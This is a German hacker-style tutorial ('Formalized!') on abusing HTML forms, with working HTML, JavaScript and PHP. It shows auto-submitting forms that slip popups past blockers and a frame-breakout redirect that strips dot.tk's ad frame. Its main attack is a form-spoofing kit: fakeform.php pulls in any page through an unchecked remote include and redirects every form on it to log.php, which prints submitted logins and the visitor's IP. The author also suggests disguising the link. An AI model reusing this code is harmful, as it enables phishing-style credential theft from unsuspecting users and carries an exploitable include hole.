Code:################################################### F O R M A L I Z E D ! ################################################### Jeder kennt sie: die Formulare, die wir liebevoll mit <form> ansprechen. Sie dienen zur Auswertung von Benutzereingaben, doch eigentlich kann man mit ihnen noch viel mehr schöne Dinge anstellen; Dinge, die man sich gar nicht erhofft. Und diese werde ich euch mit diesem Paper vorstellen. [x] Pop-Up Blocker überlisten Eine interessante Methode um Formulare zu verwenden ist beispielweise die Überlistung eines jeglichen Pop-Up Blockers. Die ganze Geschichte ist relativ einfach: Wir verwenden ein ganz normales Formular, die Request-Methode ( GET | POST ) ist egal. Als Ziel nehmen wir unsere Seite, in dem folgenden Beispiel wird die Webseite www.katharsis.x2.to verwendet. Und nun der Clou: Wir können beim Formular genau wie bei einem Anchor das Target festlegen. Die 2 interessanten Targets in diesem Fall sind "_blank" und "_top". Ersteres werden wir für das Pop-Up verwenden ("_blank" = in neuem Fenster öffnen). Allerdings wäre es schön blöd, wenn man erst einen Button klicken müsste, um das Formular "auszuwerten". Daher können wir das ganze mit Javascript automatisieren. Im Internet Explorer und in älteren Versionen des Mozilla Firefoxs funktioniert folgender Code: [ popup_old.htm ] -------------------------------------------------------- <form method="GET" action="http://www.katharsis.x2.to" target="_blank"></form> <script>document.forms[0].submit()</script> -------------------------------------------------------- Allerdings klappt das ganze in neuen Firefox Versionen nicht mehr (eventuell auch in anderen Browsern). Daher müssen wir unseren Code ein wenig abändern: [ popup_new.htm ] -------------------------------------------------------- <script> function submitForm() { document.bypass.submit(); } window.onload = submitForm; </script> <form name="bypass" method="GET" action="http://www.katharsis.x2.to" target="_blank"></form> -------------------------------------------------------- Nun haben wir erfolgreich ein Pop-Up Fenster am Blocker vorbeigeschmuggelt. Aber das ist noch längst nicht alles, was wir mit Formularen machen können. [x] Werbefreie .tk Domain Eine weitere interessante Methode ist eine Weiterleitung mit "_top", denn dieser Parameter bedeutet "öffnen & aus Frames ausbrechen". Wozu das gut sein soll? Jeder kennt www.dot.tk - dort kann man sich eine kostenlose Domain mit der Endung .tk holen. Allerdings ist oben ein nerviger Werbeframe, und diesen wollen wir nun wegbekommen. Also, wir wollen die Domain www.meine-seite.tk Werbefrei haben. Das können wir realisieren, in dem wir die index.php unserer Webseite um folgendes erweitern: [ index.php, angefügt ] -------------------------------------------------------- if(isset($_GET["tk"])) { print '<script>function submitForm(){document.bypass.submit();}'. 'window.onload = submitForm;</script><form name="bypass" '. 'method="POST" action="www.meineseite.free.de"'. ' target="_top"></form><script>document.bypass.submit()'. '</script>'; exit(); } -------------------------------------------------------- Wenn wir nun www.meineseite.free.de?tk aufrufen, werden wir zur normalen Index-Seite weitergeleitet. Allerdings ist das natürlich keine normale Weiterleitung; durch den target="_top"-Parmeter ist es eine Frame-Breakout Weiterleitung. Nun stellen wir in unserem Control-Panel auf www.dot.tk einfach die Homepage "www.meineseite.free.de?tk" ein, und schon haben wir eine werbefreie .tk Domain. [x] Formular Spoofing Eine weitere witzige Sache ist Formular Spoofing. Wir brauchen dazu nur 2 PHP Dateien: [ fakeform.php ] -------------------------------------------------------- <? $page = $_GET['u']; ?> <base href="<? echo $page ?>/"> <? @include($page); print("<script> var forms = document.getElementsByTagName(\"form\"); for (var i = 0; i < forms.length ; i++) { forms[i].action = \"http://www.meine-seite.de/log.php\"; } </script>"); ?> -------------------------------------------------------- Das ist unser Fakeform. Das ganze rufen wir dann z.B. so auf: http://www.meine-seite.de/fakeform.p...p://www.web.de Und wir brauchen die log.php, die in diesem Fall nicht wirklich loggt, sondern nur als Proof-of-Concept dient: [ log.php ] -------------------------------------------------------- <center> <table border=1 cellspacing=0 cellpadding=2> <?php $post = $_POST; for(reset($post); $index = key($post); $value = next($post)) { printf("<tr><td>%s</td><td>%s</td></tr>", $index, $post[$index]); } $get = $_GET; for(reset($get); $index = key($get); $value = next($get)) { printf("<tr><td>%s</td><td>%s</td></tr>", $index, $get[$index]); } print("<tr><td>IP</td><td>".$_SERVER['REMOTE_ADDR']."</td></tr>"); print("</table> "); ?> -------------------------------------------------------- Wenn wir uns nun z.B. über die obige Web.de URL einloggen, werden die Daten auf der log.php ausgegeben. Das ganze kann man natürlich auch nett in einer Datei speichern. Dasselbe gilt für GET-Requests, zum Beispiel eine Google-Suche. Der Link sieht jedoch noch etwas auffällig auf, deswegen wäre es besser ihn zu tarnen. Beispielweise mit window.status oder eine zusätzliche UTF8-Kodierung der URL. [x] kthxbai Das war's auch schon, ich wünsche euch viel Spaß beim rumtesten & ausprobieren. // katharsis // www.katharsis.x2.to